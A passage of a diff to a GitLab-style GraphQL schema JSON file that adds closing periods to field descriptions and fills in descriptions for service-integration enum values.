"description": "Indicates the release is an upcoming release.", "args": [ ], @@ -60225,7 +63930,7 @@ "fields": [ { "name": "directAssetUrl", - "description": "Direct asset URL of the link", + "description": "Direct asset URL of the link.", "args": [ ], @@ -60239,7 +63944,7 @@ }, { "name": "external", - "description": "Indicates the link points to an external resource", + "description": "Indicates the link points to an external resource.", "args": [ ], @@ -60253,7 +63958,7 @@ }, { "name": "id", - "description": "ID of the link", + "description": "ID of the link.", "args": [ ], @@ -60271,7 +63976,7 @@ }, { "name": "linkType", - "description": "Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`", + "description": "Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`.", "args": [ ], @@ -60285,7 +63990,7 @@ }, { "name": "name", - "description": "Name of the link", + "description": "Name of the link.", "args": [ ], @@ -60299,7 +64004,7 @@ }, { "name": "url", - "description": "URL of the link", + "description": "URL of the link.", "args": [ ], @@ -60439,7 +64144,7 @@ "inputFields": [ { "name": "name", - "description": "Name of the asset link", + "description": "Name of the asset link.", "type": { "kind": "NON_NULL", "name": null, @@ -60453,7 +64158,7 @@ }, { "name": "url", - "description": "URL of the asset link", + "description": "URL of the asset link.", "type": { "kind": "NON_NULL", "name": null, @@ -60467,7 +64172,7 @@ }, { "name": "directAssetPath", - "description": "Relative path for a direct asset link", + "description": "Relative path for a direct asset link.", "type": { "kind": "SCALAR", "name": "String", @@ -60477,7 +64182,7 @@ }, { "name": "linkType", - "description": "The type of the asset link", + "description": "The type of the asset link.", "type": { "kind": "ENUM", "name": "ReleaseAssetLinkType", @@ -60532,7 +64237,7 @@ "fields": [ { "name": "count", - "description": "Number of assets of the release", + "description": "Number of assets of the release.", "args": [ ], @@ -60546,7 +64251,7 @@ }, { "name": "links", - "description": "Asset links of the release", + "description": "Asset links of the release.", "args": [ { "name": "after", @@ -60599,7 +64304,7 @@ }, { "name": "sources", - "description": "Sources of the release", + "description": "Sources of the release.", "args": [ { "name": "after", @@ -60666,7 +64371,7 @@ "inputFields": [ { "name": "links", - "description": "A list of asset links to associate to the release", + "description": "A list of asset links to associate to the release.", "type": { "kind": "LIST", "name": null, @@ -60694,7 +64399,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -61124,7 +64829,7 @@ "fields": [ { "name": "collectedAt", - "description": "Timestamp when the evidence was collected", + "description": "Timestamp when the evidence was collected.", "args": [ ], @@ -61138,7 +64843,7 @@ }, { "name": "filepath", - "description": "URL from where the evidence can be downloaded", + "description": "URL from where the evidence can be downloaded.", "args": [ ], @@ -61152,7 +64857,7 @@ }, { "name": "id", - "description": "ID of the evidence", + "description": "ID of the evidence.", "args": [ ], @@ -61170,7 +64875,7 @@ }, { "name": "sha", - "description": "SHA1 ID of the evidence hash", + "description": "SHA1 ID of the evidence hash.", "args": [ ], @@ -61309,7 +65014,7 @@ "fields": [ { "name": "closedIssuesUrl", - "description": "HTTP URL of the issues page, filtered by this release and `state=closed`", + "description": "HTTP URL of the issues page, filtered by this release and `state=closed`.", "args": [ ], @@ -61323,7 +65028,7 @@ }, { "name": "closedMergeRequestsUrl", - "description": "HTTP URL of the merge request page , filtered by this release and `state=closed`", + "description": "HTTP URL of the merge request page , filtered by this release and `state=closed`.", "args": [ ], @@ -61337,7 +65042,7 @@ }, { "name": "editUrl", - "description": "HTTP URL of the release's edit page", + "description": "HTTP URL of the release's edit page.", "args": [ ], @@ -61351,7 +65056,7 @@ }, { "name": "mergedMergeRequestsUrl", - "description": "HTTP URL of the merge request page , filtered by this release and `state=merged`", + "description": "HTTP URL of the merge request page , filtered by this release and `state=merged`.", "args": [ ], @@ -61365,7 +65070,7 @@ }, { "name": "openedIssuesUrl", - "description": "HTTP URL of the issues page, filtered by this release and `state=open`", + "description": "HTTP URL of the issues page, filtered by this release and `state=open`.", "args": [ ], @@ -61379,7 +65084,7 @@ }, { "name": "openedMergeRequestsUrl", - "description": "HTTP URL of the merge request page, filtered by this release and `state=open`", + "description": "HTTP URL of the merge request page, filtered by this release and `state=open`.", "args": [ ], @@ -61393,7 +65098,7 @@ }, { "name": "selfUrl", - "description": "HTTP URL of the release", + "description": "HTTP URL of the release.", "args": [ ], @@ -61455,7 +65160,7 @@ "fields": [ { "name": "format", - "description": "Format of the source", + "description": "Format of the source.", "args": [ ], @@ -61469,7 +65174,7 @@ }, { "name": "url", - "description": "Download URL of the source", + "description": "Download URL of the source.", "args": [ ], @@ -61787,7 +65492,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "type": { "kind": "NON_NULL", "name": null, @@ -61991,7 +65696,7 @@ }, { "name": "position", - "description": "The position of this note on a diff", + "description": "The position of this note on a diff.", "type": { "kind": "NON_NULL", "name": null, @@ -62092,7 +65797,7 @@ "fields": [ { "name": "empty", - "description": "Indicates repository has no visible content", + "description": "Indicates repository has no visible content.", "args": [ ], @@ -62110,7 +65815,7 @@ }, { "name": "exists", - "description": "Indicates a corresponding Git repository exists on disk", + "description": "Indicates a corresponding Git repository exists on disk.", "args": [ ], @@ -62128,7 +65833,7 @@ }, { "name": "rootRef", - "description": "Default branch of the repository", + "description": "Default branch of the repository.", "args": [ ], @@ -62142,7 +65847,7 @@ }, { "name": "tree", - "description": "Tree of the repository", + "description": "Tree of the repository.", "args": [ { "name": "path", @@ -62198,7 +65903,7 @@ "fields": [ { "name": "author", - "description": "Author of the requirement", + "description": "Author of the requirement.", "args": [ ], @@ -62216,7 +65921,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the requirement was created", + "description": "Timestamp of when the requirement was created.", "args": [ ], @@ -62234,7 +65939,7 @@ }, { "name": "description", - "description": "Description of the requirement", + "description": "Description of the requirement.", "args": [ ], @@ -62262,7 +65967,7 @@ }, { "name": "id", - "description": "ID of the requirement", + "description": "ID of the requirement.", "args": [ ], @@ -62280,7 +65985,7 @@ }, { "name": "iid", - "description": "Internal ID of the requirement", + "description": "Internal ID of the requirement.", "args": [ ], @@ -62298,7 +66003,7 @@ }, { "name": "lastTestReportManuallyCreated", - "description": "Indicates if latest test report was created by user", + "description": "Indicates if latest test report was created by user.", "args": [ ], @@ -62312,7 +66017,7 @@ }, { "name": "lastTestReportState", - "description": "Latest requirement test report state", + "description": "Latest requirement test report state.", "args": [ ], @@ -62326,7 +66031,7 @@ }, { "name": "project", - "description": "Project to which the requirement belongs", + "description": "Project to which the requirement belongs.", "args": [ ], @@ -62344,7 +66049,7 @@ }, { "name": "state", - "description": "State of the requirement", + "description": "State of the requirement.", "args": [ ], @@ -62362,7 +66067,7 @@ }, { "name": "testReports", - "description": "Test reports of the requirement", + "description": "Test reports of the requirement.", "args": [ { "name": "sort", @@ -62425,7 +66130,7 @@ }, { "name": "title", - "description": "Title of the requirement", + "description": "Title of the requirement.", "args": [ ], @@ -62453,7 +66158,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the requirement was last updated", + "description": "Timestamp of when the requirement was last updated.", "args": [ ], @@ -62740,7 +66445,7 @@ "fields": [ { "name": "archived", - "description": "Number of archived requirements", + "description": "Number of archived requirements.", "args": [ ], @@ -62754,7 +66459,7 @@ }, { "name": "opened", - "description": "Number of opened requirements", + "description": "Number of opened requirements.", "args": [ ], @@ -62781,7 +66486,7 @@ "fields": [ { "name": "resolvable", - "description": "Indicates if the object can be resolved", + "description": "Indicates if the object can be resolved.", "args": [ ], @@ -62799,7 +66504,7 @@ }, { "name": "resolved", - "description": "Indicates if the object is resolved", + "description": "Indicates if the object is resolved.", "args": [ ], @@ -62817,7 +66522,7 @@ }, { "name": "resolvedAt", - "description": "Timestamp of when the object was resolved", + "description": "Timestamp of when the object was resolved.", "args": [ ], @@ -62831,7 +66536,7 @@ }, { "name": "resolvedBy", - "description": "User who resolved the object", + "description": "User who resolved the object.", "args": [ ], @@ -62969,7 +66674,7 @@ "fields": [ { "name": "buildArtifactsSize", - "description": "The CI artifacts size in bytes", + "description": "The CI artifacts size in bytes.", "args": [ ], @@ -62987,7 +66692,7 @@ }, { "name": "lfsObjectsSize", - "description": "The LFS objects size in bytes", + "description": "The LFS objects size in bytes.", "args": [ ], @@ -63005,7 +66710,7 @@ }, { "name": "packagesSize", - "description": "The packages size in bytes", + "description": "The packages size in bytes.", "args": [ ], @@ -63023,7 +66728,7 @@ }, { "name": "pipelineArtifactsSize", - "description": "The CI pipeline artifacts size in bytes", + "description": "The CI pipeline artifacts size in bytes.", "args": [ ], @@ -63041,7 +66746,7 @@ }, { "name": "repositorySize", - "description": "The Git repository size in bytes", + "description": "The Git repository size in bytes.", "args": [ ], @@ -63059,7 +66764,7 @@ }, { "name": "snippetsSize", - "description": "The snippets size in bytes", + "description": "The snippets size in bytes.", "args": [ ], @@ -63077,7 +66782,7 @@ }, { "name": "storageSize", - "description": "The total storage in bytes", + "description": "The total storage in bytes.", "args": [ ], @@ -63095,7 +66800,7 @@ }, { "name": "uploadsSize", - "description": "The uploads size in bytes", + "description": "The uploads size in bytes.", "args": [ ], @@ -63113,7 +66818,7 @@ }, { "name": "wikiSize", - "description": "The wiki size in bytes", + "description": "The wiki size in bytes.", "args": [ ], @@ -63288,7 +66993,7 @@ "fields": [ { "name": "downloadLocation", - "description": "Download location for the runner for the platform architecture", + "description": "Download location for the runner for the platform architecture.", "args": [ ], @@ -63306,7 +67011,7 @@ }, { "name": "name", - "description": "Name of the runner platform architecture", + "description": "Name of the runner platform architecture.", "args": [ ], @@ -63449,7 +67154,7 @@ "fields": [ { "name": "architectures", - "description": "Runner architectures supported for the platform", + "description": "Runner architectures supported for the platform.", "args": [ { "name": "after", @@ -63502,7 +67207,7 @@ }, { "name": "humanReadableName", - "description": "Human readable name of the runner platform", + "description": "Human readable name of the runner platform.", "args": [ ], @@ -63520,7 +67225,7 @@ }, { "name": "name", - "description": "Name slug of the runner platform", + "description": "Name slug of the runner platform.", "args": [ ], @@ -63663,7 +67368,7 @@ "fields": [ { "name": "installInstructions", - "description": "Instructions for installing the runner on the specified architecture", + "description": "Instructions for installing the runner on the specified architecture.", "args": [ ], @@ -63681,7 +67386,7 @@ }, { "name": "registerInstructions", - "description": "Instructions for registering the runner", + "description": "Instructions for registering the runner.", "args": [ ], @@ -63880,7 +67585,7 @@ "fields": [ { "name": "description", - "description": "Analyzer description that is displayed on the form", + "description": "Analyzer description that is displayed on the form.", "args": [ ], @@ -63894,7 +67599,7 @@ }, { "name": "enabled", - "description": "Indicates whether an analyzer is enabled", + "description": "Indicates whether an analyzer is enabled.", "args": [ ], @@ -63908,7 +67613,7 @@ }, { "name": "label", - "description": "Analyzer label used in the config UI", + "description": "Analyzer label used in the config UI.", "args": [ ], @@ -63922,7 +67627,7 @@ }, { "name": "name", - "description": "Name of the analyzer", + "description": "Name of the analyzer.", "args": [ ], @@ -63936,7 +67641,7 @@ }, { "name": "variables", - "description": "List of supported variables", + "description": "List of supported variables.", "args": [ { "name": "after", @@ -64115,7 +67820,7 @@ "inputFields": [ { "name": "name", - "description": "Name of analyzer", + "description": "Name of analyzer.", "type": { "kind": "NON_NULL", "name": null, @@ -64129,7 +67834,7 @@ }, { "name": "enabled", - "description": "State of the analyzer", + "description": "State of the analyzer.", "type": { "kind": "NON_NULL", "name": null, @@ -64143,7 +67848,7 @@ }, { "name": "variables", - "description": "List of variables for the analyzer", + "description": "List of variables for the analyzer.", "type": { "kind": "LIST", "name": null, @@ -64448,7 +68153,7 @@ "inputFields": [ { "name": "field", - "description": "CI keyword of entity", + "description": "CI keyword of entity.", "type": { "kind": "NON_NULL", "name": null, @@ -64462,7 +68167,7 @@ }, { "name": "defaultValue", - "description": "Default value that is used if value is empty", + "description": "Default value that is used if value is empty.", "type": { "kind": "NON_NULL", "name": null, @@ -64476,7 +68181,7 @@ }, { "name": "value", - "description": "Current value of the entity", + "description": "Current value of the entity.", "type": { "kind": "NON_NULL", "name": null, @@ -64501,7 +68206,7 @@ "inputFields": [ { "name": "global", - "description": "List of global entities related to SAST configuration", + "description": "List of global entities related to SAST configuration.", "type": { "kind": "LIST", "name": null, @@ -64519,7 +68224,7 @@ }, { "name": "pipeline", - "description": "List of pipeline entities related to SAST configuration", + "description": "List of pipeline entities related to SAST configuration.", "type": { "kind": "LIST", "name": null, @@ -64537,7 +68242,7 @@ }, { "name": "analyzers", - "description": "List of analyzers and related variables for the SAST configuration", + "description": "List of analyzers and related variables for the SAST configuration.", "type": { "kind": "LIST", "name": null, @@ -64747,7 +68452,7 @@ "fields": [ { "name": "requestMethod", - "description": "The HTTP request method used to access the URL", + "description": "The HTTP request method used to access the URL.", "args": [ ], @@ -64761,7 +68466,7 @@ }, { "name": "url", - "description": "The URL scanned by the scanner", + "description": "The URL scanned by the scanner.", "args": [ ], @@ -64900,7 +68605,7 @@ "fields": [ { "name": "apiFuzzing", - "description": "Aggregated counts for the api_fuzzing scan", + "description": "Aggregated counts for the `api_fuzzing` scan", "args": [ ], @@ -64914,7 +68619,7 @@ }, { "name": "containerScanning", - "description": "Aggregated counts for the container_scanning scan", + "description": "Aggregated counts for the `container_scanning` scan", "args": [ ], @@ -64928,7 +68633,7 @@ }, { "name": "coverageFuzzing", - "description": "Aggregated counts for the coverage_fuzzing scan", + "description": "Aggregated counts for the `coverage_fuzzing` scan", "args": [ ], @@ -64942,7 +68647,7 @@ }, { "name": "dast", - "description": "Aggregated counts for the dast scan", + "description": "Aggregated counts for the `dast` scan", "args": [ ], @@ -64956,7 +68661,7 @@ }, { "name": "dependencyScanning", - "description": "Aggregated counts for the dependency_scanning scan", + "description": "Aggregated counts for the `dependency_scanning` scan", "args": [ ], @@ -64970,7 +68675,7 @@ }, { "name": "sast", - "description": "Aggregated counts for the sast scan", + "description": "Aggregated counts for the `sast` scan", "args": [ ], @@ -64984,7 +68689,7 @@ }, { "name": "secretDetection", - "description": "Aggregated counts for the secret_detection scan", + "description": "Aggregated counts for the `secret_detection` scan", "args": [ ], @@ -65011,7 +68716,7 @@ "fields": [ { "name": "scannedResources", - "description": "A list of the first 20 scanned resources", + "description": "A list of the first 20 scanned resources.", "args": [ { "name": "after", @@ -65064,7 +68769,7 @@ }, { "name": "scannedResourcesCount", - "description": "Total number of scanned resources", + "description": "Total number of scanned resources.", "args": [ ], @@ -65078,7 +68783,7 @@ }, { "name": "scannedResourcesCsvPath", - "description": "Path to download all the scanned resources in CSV format", + "description": "Path to download all the scanned resources in CSV format.", "args": [ ], @@ -65092,7 +68797,7 @@ }, { "name": "vulnerabilitiesCount", - "description": "Total number of vulnerabilities", + "description": "Total number of vulnerabilities.", "args": [ ], @@ -65304,7 +69009,7 @@ "fields": [ { "name": "count", - "description": "Count of occurrences", + "description": "Count of occurrences.", "args": [ ], @@ -65322,7 +69027,7 @@ }, { "name": "culprit", - "description": "Culprit of the error", + "description": "Culprit of the error.", "args": [ ], @@ -65340,7 +69045,7 @@ }, { "name": "externalBaseUrl", - "description": "External Base URL of the Sentry Instance", + "description": "External Base URL of the Sentry Instance.", "args": [ ], @@ -65358,7 +69063,7 @@ }, { "name": "externalUrl", - "description": "External URL of the error", + "description": "External URL of the error.", "args": [ ], @@ -65376,7 +69081,7 @@ }, { "name": "firstReleaseLastCommit", - "description": "Commit the error was first seen", + "description": "Commit the error was first seen.", "args": [ ], @@ -65390,7 +69095,7 @@ }, { "name": "firstReleaseShortVersion", - "description": "Release short version the error was first seen", + "description": "Release short version the error was first seen.", "args": [ ], @@ -65404,7 +69109,7 @@ }, { "name": "firstReleaseVersion", - "description": "Release version the error was first seen", + "description": "Release version the error was first seen.", "args": [ ], @@ -65418,7 +69123,7 @@ }, { "name": "firstSeen", - "description": "Timestamp when the error was first seen", + "description": "Timestamp when the error was first seen.", "args": [ ], @@ -65436,7 +69141,7 @@ }, { "name": "frequency", - "description": "Last 24hr stats of the error", + "description": "Last 24hr stats of the error.", "args": [ ], @@ -65462,7 +69167,7 @@ }, { "name": "gitlabCommit", - "description": "GitLab commit SHA attributed to the Error based on the release version", + "description": "GitLab commit SHA attributed to the Error based on the release version.", "args": [ ], @@ -65476,7 +69181,7 @@ }, { "name": "gitlabCommitPath", - "description": "Path to the GitLab page for the GitLab commit attributed to the error", + "description": "Path to the GitLab page for the GitLab commit attributed to the error.", "args": [ ], @@ -65490,7 +69195,7 @@ }, { "name": "gitlabIssuePath", - "description": "URL of GitLab Issue", + "description": "URL of GitLab Issue.", "args": [ ], @@ -65504,7 +69209,7 @@ }, { "name": "id", - "description": "ID (global ID) of the error", + "description": "ID (global ID) of the error.", "args": [ ], @@ -65522,7 +69227,7 @@ }, { "name": "lastReleaseLastCommit", - "description": "Commit the error was last seen", + "description": "Commit the error was last seen.", "args": [ ], @@ -65536,7 +69241,7 @@ }, { "name": "lastReleaseShortVersion", - "description": "Release short version the error was last seen", + "description": "Release short version the error was last seen.", "args": [ ], @@ -65550,7 +69255,7 @@ }, { "name": "lastReleaseVersion", - "description": "Release version the error was last seen", + "description": "Release version the error was last seen.", "args": [ ], @@ -65564,7 +69269,7 @@ }, { "name": "lastSeen", - "description": "Timestamp when the error was last seen", + "description": "Timestamp when the error was last seen.", "args": [ ], @@ -65582,7 +69287,7 @@ }, { "name": "message", - "description": "Sentry metadata message of the error", + "description": "Sentry metadata message of the error.", "args": [ ], @@ -65596,7 +69301,7 @@ }, { "name": "sentryId", - "description": "ID (Sentry ID) of the error", + "description": "ID (Sentry ID) of the error.", "args": [ ], @@ -65614,7 +69319,7 @@ }, { "name": "sentryProjectId", - "description": "ID of the project (Sentry project)", + "description": "ID of the project (Sentry project).", "args": [ ], @@ -65632,7 +69337,7 @@ }, { "name": "sentryProjectName", - "description": "Name of the project affected by the error", + "description": "Name of the project affected by the error.", "args": [ ], @@ -65650,7 +69355,7 @@ }, { "name": "sentryProjectSlug", - "description": "Slug of the project affected by the error", + "description": "Slug of the project affected by the error.", "args": [ ], @@ -65668,7 +69373,7 @@ }, { "name": "shortId", - "description": "Short ID (Sentry ID) of the error", + "description": "Short ID (Sentry ID) of the error.", "args": [ ], @@ -65686,7 +69391,7 @@ }, { "name": "status", - "description": "Status of the error", + "description": "Status of the error.", "args": [ ], @@ -65704,7 +69409,7 @@ }, { "name": "tags", - "description": "Tags associated with the Sentry Error", + "description": "Tags associated with the Sentry Error.", "args": [ ], @@ -65722,7 +69427,7 @@ }, { "name": "title", - "description": "Title of the error", + "description": "Title of the error.", "args": [ ], @@ -65740,7 +69445,7 @@ }, { "name": "type", - "description": "Type of the error", + "description": "Type of the error.", "args": [ ], @@ -65758,7 +69463,7 @@ }, { "name": "userCount", - "description": "Count of users affected by the error", + "description": "Count of users affected by the error.", "args": [ ], @@ -65789,7 +69494,7 @@ "fields": [ { "name": "count", - "description": "Count of occurrences", + "description": "Count of occurrences.", "args": [ ], @@ -65807,7 +69512,7 @@ }, { "name": "culprit", - "description": "Culprit of the error", + "description": "Culprit of the error.", "args": [ ], @@ -65825,7 +69530,7 @@ }, { "name": "externalUrl", - "description": "External URL of the error", + "description": "External URL of the error.", "args": [ ], @@ -65843,7 +69548,7 @@ }, { "name": "firstSeen", - "description": "Timestamp when the error was first seen", + "description": "Timestamp when the error was first seen.", "args": [ ], @@ -65861,7 +69566,7 @@ }, { "name": "frequency", - "description": "Last 24hr stats of the error", + "description": "Last 24hr stats of the error.", "args": [ ], @@ -65887,7 +69592,7 @@ }, { "name": "id", - "description": "ID (global ID) of the error", + "description": "ID (global ID) of the error.", "args": [ ], @@ -65905,7 +69610,7 @@ }, { "name": "lastSeen", - "description": "Timestamp when the error was last seen", + "description": "Timestamp when the error was last seen.", "args": [ ], @@ -65923,7 +69628,7 @@ }, { "name": "message", - "description": "Sentry metadata message of the error", + "description": "Sentry metadata message of the error.", "args": [ ], @@ -65937,7 +69642,7 @@ }, { "name": "sentryId", - "description": "ID (Sentry ID) of the error", + "description": "ID (Sentry ID) of the error.", "args": [ ], @@ -65955,7 +69660,7 @@ }, { "name": "sentryProjectId", - "description": "ID of the project (Sentry project)", + "description": "ID of the project (Sentry project).", "args": [ ], @@ -65973,7 +69678,7 @@ }, { "name": "sentryProjectName", - "description": "Name of the project affected by the error", + "description": "Name of the project affected by the error.", "args": [ ], @@ -65991,7 +69696,7 @@ }, { "name": "sentryProjectSlug", - "description": "Slug of the project affected by the error", + "description": "Slug of the project affected by the error.", "args": [ ], @@ -66009,7 +69714,7 @@ }, { "name": "shortId", - "description": "Short ID (Sentry ID) of the error", + "description": "Short ID (Sentry ID) of the error.", "args": [ ], @@ -66027,7 +69732,7 @@ }, { "name": "status", - "description": "Status of the error", + "description": "Status of the error.", "args": [ ], @@ -66045,7 +69750,7 @@ }, { "name": "title", - "description": "Title of the error", + "description": "Title of the error.", "args": [ ], @@ -66063,7 +69768,7 @@ }, { "name": "type", - "description": "Type of the error", + "description": "Type of the error.", "args": [ ], @@ -66081,7 +69786,7 @@ }, { "name": "userCount", - "description": "Count of users affected by the error", + "description": "Count of users affected by the error.", "args": [ ], @@ -66112,7 +69817,7 @@ "fields": [ { "name": "detailedError", - "description": "Detailed version of a Sentry error on the project", + "description": "Detailed version of a Sentry error on the project.", "args": [ { "name": "id", @@ -66139,7 +69844,7 @@ }, { "name": "errorStackTrace", - "description": "Stack Trace of Sentry Error", + "description": "Stack Trace of Sentry Error.", "args": [ { "name": "id", @@ -66166,7 +69871,7 @@ }, { "name": "errors", - "description": "Collection of Sentry Errors", + "description": "Collection of Sentry Errors.", "args": [ { "name": "searchTerm", @@ -66239,7 +69944,7 @@ }, { "name": "externalUrl", - "description": "External URL for Sentry", + "description": "External URL for Sentry.", "args": [ ], @@ -66378,7 +70083,7 @@ "fields": [ { "name": "count", - "description": "Count of errors received since the previously recorded time", + "description": "Count of errors received since the previously recorded time.", "args": [ ], @@ -66396,7 +70101,7 @@ }, { "name": "time", - "description": "Time the error frequency stats were recorded", + "description": "Time the error frequency stats were recorded.", "args": [ ], @@ -66427,7 +70132,7 @@ "fields": [ { "name": "dateReceived", - "description": "Time the stack trace was received by Sentry", + "description": "Time the stack trace was received by Sentry.", "args": [ ], @@ -66445,7 +70150,7 @@ }, { "name": "issueId", - "description": "ID of the Sentry error", + "description": "ID of the Sentry error.", "args": [ ], @@ -66463,7 +70168,7 @@ }, { "name": "stackTraceEntries", - "description": "Stack trace entries for the Sentry error", + "description": "Stack trace entries for the Sentry error.", "args": [ ], @@ -66502,7 +70207,7 @@ "fields": [ { "name": "code", - "description": "Code number of the context", + "description": "Code number of the context.", "args": [ ], @@ -66520,7 +70225,7 @@ }, { "name": "line", - "description": "Line number of the context", + "description": "Line number of the context.", "args": [ ], @@ -66551,7 +70256,7 @@ "fields": [ { "name": "col", - "description": "Function in which the Sentry error occurred", + "description": "Function in which the Sentry error occurred.", "args": [ ], @@ -66565,7 +70270,7 @@ }, { "name": "fileName", - "description": "File in which the Sentry error occurred", + "description": "File in which the Sentry error occurred.", "args": [ ], @@ -66579,7 +70284,7 @@ }, { "name": "function", - "description": "Function in which the Sentry error occurred", + "description": "Function in which the Sentry error occurred.", "args": [ ], @@ -66593,7 +70298,7 @@ }, { "name": "line", - "description": "Function in which the Sentry error occurred", + "description": "Function in which the Sentry error occurred.", "args": [ ], @@ -66607,7 +70312,7 @@ }, { "name": "traceContext", - "description": "Context of the Sentry error", + "description": "Context of the Sentry error.", "args": [ ], @@ -66677,7 +70382,7 @@ "fields": [ { "name": "level", - "description": "Severity level of the Sentry Error", + "description": "Severity level of the Sentry Error.", "args": [ ], @@ -66691,7 +70396,7 @@ }, { "name": "logger", - "description": "Logger of the Sentry Error", + "description": "Logger of the Sentry Error.", "args": [ ], @@ -66718,7 +70423,7 @@ "fields": [ { "name": "active", - "description": "Indicates if the service is active", + "description": "Indicates if the service is active.", "args": [ ], @@ -66732,7 +70437,7 @@ }, { "name": "type", - "description": "Class name of the service", + "description": "Class name of the service.", "args": [ ], @@ -66883,217 +70588,217 @@ "enumValues": [ { "name": "ASANA_SERVICE", - "description": null, + "description": "AsanaService type", "isDeprecated": false, "deprecationReason": null }, { "name": "ASSEMBLA_SERVICE", - "description": null, + "description": "AssemblaService type", "isDeprecated": false, "deprecationReason": null }, { "name": "BAMBOO_SERVICE", - "description": null, + "description": "BambooService type", "isDeprecated": false, "deprecationReason": null }, { "name": "BUGZILLA_SERVICE", - "description": null, + "description": "BugzillaService type", "isDeprecated": false, "deprecationReason": null }, { "name": "BUILDKITE_SERVICE", - "description": null, + "description": "BuildkiteService type", "isDeprecated": false, "deprecationReason": null }, { "name": "CAMPFIRE_SERVICE", - "description": null, + "description": "CampfireService type", "isDeprecated": false, "deprecationReason": null }, { "name": "CONFLUENCE_SERVICE", - "description": null, + "description": "ConfluenceService type", "isDeprecated": false, "deprecationReason": null }, { "name": "CUSTOM_ISSUE_TRACKER_SERVICE", - "description": null, + "description": "CustomIssueTrackerService type", "isDeprecated": false, "deprecationReason": null }, { "name": "DATADOG_SERVICE", - "description": null, + "description": "DatadogService type", "isDeprecated": false, "deprecationReason": null }, { "name": "DISCORD_SERVICE", - "description": null, + "description": "DiscordService type", "isDeprecated": false, "deprecationReason": null }, { "name": "DRONE_CI_SERVICE", - "description": null, + "description": "DroneCiService type", "isDeprecated": false, "deprecationReason": null }, { "name": "EMAILS_ON_PUSH_SERVICE", - "description": null, + "description": "EmailsOnPushService type", "isDeprecated": false, "deprecationReason": null }, { "name": "EWM_SERVICE", - "description": null, + "description": "EwmService type", "isDeprecated": false, "deprecationReason": null }, { "name": "EXTERNAL_WIKI_SERVICE", - "description": null, + "description": "ExternalWikiService type", "isDeprecated": false, "deprecationReason": null }, { "name": "FLOWDOCK_SERVICE", - "description": null, + "description": "FlowdockService type", "isDeprecated": false, "deprecationReason": null }, { "name": "GITHUB_SERVICE", - "description": null, + "description": "GithubService type", "isDeprecated": false, "deprecationReason": null }, { "name": "HANGOUTS_CHAT_SERVICE", - "description": null, + "description": "HangoutsChatService type", "isDeprecated": false, "deprecationReason": null }, { "name": "HIPCHAT_SERVICE", - "description": null, + "description": "HipchatService type", "isDeprecated": false, "deprecationReason": null }, { "name": "IRKER_SERVICE", - "description": null, + "description": "IrkerService type", "isDeprecated": false, "deprecationReason": null }, { "name": "JENKINS_SERVICE", - "description": null, + "description": "JenkinsService type", "isDeprecated": false, "deprecationReason": null }, { "name": "JIRA_SERVICE", - "description": null, + "description": "JiraService type", "isDeprecated": false, "deprecationReason": null }, { "name": "MATTERMOST_SERVICE", - "description": null, + "description": "MattermostService type", "isDeprecated": false, "deprecationReason": null }, { "name": "MATTERMOST_SLASH_COMMANDS_SERVICE", - "description": null, + "description": "MattermostSlashCommandsService type", "isDeprecated": false, "deprecationReason": null }, { "name": "MICROSOFT_TEAMS_SERVICE", - "description": null, + "description": "MicrosoftTeamsService type", "isDeprecated": false, "deprecationReason": null }, { "name": "PACKAGIST_SERVICE", - "description": null, + "description": "PackagistService type", "isDeprecated": false, "deprecationReason": null }, { "name": "PIPELINES_EMAIL_SERVICE", - "description": null, + "description": "PipelinesEmailService type", "isDeprecated": false, "deprecationReason": null }, { "name": "PIVOTALTRACKER_SERVICE", - "description": null, + "description": "PivotaltrackerService type", "isDeprecated": false, "deprecationReason": null }, { "name": "PROMETHEUS_SERVICE", - "description": null, + "description": "PrometheusService type", "isDeprecated": false, "deprecationReason": null }, { "name": "PUSHOVER_SERVICE", - "description": null, + "description": "PushoverService type", "isDeprecated": false, "deprecationReason": null }, { "name": "REDMINE_SERVICE", - "description": null, + "description": "RedmineService type", "isDeprecated": false, "deprecationReason": null }, { "name": "SLACK_SERVICE", - "description": null, + "description": "SlackService type", "isDeprecated": false, "deprecationReason": null }, { "name": "SLACK_SLASH_COMMANDS_SERVICE", - "description": null, + "description": "SlackSlashCommandsService type", "isDeprecated": false, "deprecationReason": null }, { "name": "TEAMCITY_SERVICE", - "description": null, + "description": "TeamcityService type", "isDeprecated": false, "deprecationReason": null }, { "name": "UNIFY_CIRCUIT_SERVICE", - "description": null, + "description": "UnifyCircuitService type", "isDeprecated": false, "deprecationReason": null }, { "name": "WEBEX_TEAMS_SERVICE", - "description": null, + "description": "WebexTeamsService type", "isDeprecated": false, "deprecationReason": null }, { "name": "YOUTRACK_SERVICE", - "description": null, + "description": "YoutrackService type", "isDeprecated": false, "deprecationReason": null } @@ -67107,7 +70812,7 @@ "fields": [ { "name": "author", - "description": "The owner of the snippet", + "description": "The owner of the snippet.", "args": [ ], @@ -67121,7 +70826,7 @@ }, { "name": "blob", - "description": "Snippet blob Deprecated in 13.3: Use `blobs`.", + "description": "Snippet blob. Deprecated in 13.3: Use `blobs`.", "args": [ ], @@ -67139,7 +70844,7 @@ }, { "name": "blobs", - "description": "Snippet blobs", + "description": "Snippet blobs.", "args": [ { "name": "paths", @@ -67210,7 +70915,7 @@ }, { "name": "createdAt", - "description": "Timestamp this snippet was created", + "description": "Timestamp this snippet was created.", "args": [ ], @@ -67228,7 +70933,7 @@ }, { "name": "description", - "description": "Description of the snippet", + "description": "Description of the snippet.", "args": [ ], @@ -67256,7 +70961,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -67313,7 +71018,7 @@ }, { "name": "fileName", - "description": "File Name of the snippet", + "description": "File Name of the snippet.", "args": [ ], @@ -67327,7 +71032,7 @@ }, { "name": "httpUrlToRepo", - "description": "HTTP URL to the snippet repository", + "description": "HTTP URL to the snippet repository.", "args": [ ], @@ -67341,7 +71046,7 @@ }, { "name": "id", - "description": "ID of the snippet", + "description": "ID of the snippet.", "args": [ ], @@ -67359,7 +71064,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -67416,7 +71121,7 @@ }, { "name": "project", - "description": "The project the snippet is associated with", + "description": "The project the snippet is associated with.", 